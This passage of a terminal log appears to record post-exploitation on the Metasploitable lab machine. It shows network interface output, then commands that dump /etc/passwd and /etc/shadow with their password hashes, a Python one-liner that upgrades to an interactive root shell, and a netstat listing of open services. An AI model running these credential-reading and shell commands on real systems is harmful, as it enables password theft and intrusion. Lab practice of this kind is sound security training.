          RX packets:166026 errors:0 dropped:0 overruns:0 frame:0
          TX packets:163636 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:15625144 (14.9 MB)  TX bytes:24591289 (23.4 MB)
          Base address:0xd020 Memory:f0200000-f0220000 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:266 errors:0 dropped:0 overruns:0 frame:0
          TX packets:266 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:104117 (101.6 KB)  TX bytes:104117 (101.6 KB)

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
cat /etc/shadwo  ow
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
lp:*:14684:0:99999:7:::
mail:*:14684:0:99999:7:::
news:*:14684:0:99999:7:::
uucp:*:14684:0:99999:7:::
proxy:*:14684:0:99999:7:::
www-data:*:14684:0:99999:7:::
backup:*:14684:0:99999:7:::
list:*:14684:0:99999:7:::
irc:*:14684:0:99999:7:::
gnats:*:14684:0:99999:7:::
nobody:*:14684:0:99999:7:::
libuuid:!:14684:0:99999:7:::
dhcp:*:14684:0:99999:7:::
syslog:*:14684:0:99999:7:::
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7:::
sshd:*:14684:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
bind:*:14685:0:99999:7:::
postfix:*:14685:0:99999:7:::
ftp:*:14685:0:99999:7:::
postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:14685:0:99999:7:::
mysql:!:14685:0:99999:7:::
tomcat55:*:14691:0:99999:7:::
distccd:*:14698:0:99999:7:::
user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7:::
service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:14715:0:99999:7:::
telnetd:*:14715:0:99999:7:::
proftpd:!:14727:0:99999:7:::
statd:*:15474:0:99999:7:::
python -c 'import pty; pty.spawn("/bin/bash")'
root@metasploitable:/# netstat -antp
netstat -antp

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name

tcp        0      0 0.0.0.0:512             0.0.0.0:*               LISTEN      4476/xinetd     

tcp        0      0 0.0.0.0:513             0.0.0.0:*               LISTEN      4476/xinetd     

tcp        0      0 0.0.0.0:2049            0.0.0.0:*               LISTEN      -               

tcp        0      0 0.0.0.0:514             0.0.0.0:*               LISTEN      4476/xinetd     

tcp        0      0 0.0.0.0:47780           0.0.0.0:*               LISTEN      3696/rpc.statd  

tcp        0      0 0.0.0.0:8009            0.0.0.0:*               LISTEN      4548/jsvc       

tcp        0      0 0.0.0.0:6697            0.0.0.0:*               LISTEN      4606/unrealircd 

tcp        0      0 0.0.0.0:53738           0.0.0.0:*               LISTEN      4586/rmiregistry

tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN      4193/mysqld     

tcp        0      0 0.0.0.0:1099            0.0.0.0:*               LISTEN      4586/rmiregistry

tcp        0      0 0.0.0.0:6667            0.0.0.0:*               LISTEN      4606/unrealircd 

tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      4436/smbd       

tcp        0      0 0.0.0.0:49963           0.0.0.0:*               LISTEN      -               

tcp        0      0 0.0.0.0:5900            0.0.0.0:*               LISTEN      4605/Xtightvnc  

tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      3680/portmap    

tcp        0      0 0.0.0.0:6000            0.0.0.0:*               LISTEN      4605/Xtightvnc  

tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      4567/apache2    

tcp        0      0 0.0.0.0:8787            0.0.0.0:*               LISTEN      4590/ruby       

tcp        0      0 0.0.0.0:8180            0.0.0.0:*               LISTEN      4548/jsvc       

tcp        0      0 0.0.0.0:1524            0.0.0.0:*               LISTEN      4476/xinetd     

tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN      4476/xinetd     

tcp        0      0 192.168.56.23:53        0.0.0.0:*               LISTEN      4053/named      

tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN      4053/named      

tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN      4476/xinetd     

tcp        0      0 0.0.0.0:6200            0.0.0.0:*               LISTEN      5471/sh         

tcp        0      0 0.0.0.0:5432            0.0.0.0:*               LISTEN      4272/postgres   

tcp        0      0 0.0.0.0:25              0.0.0.0:*               LISTEN      4427/master 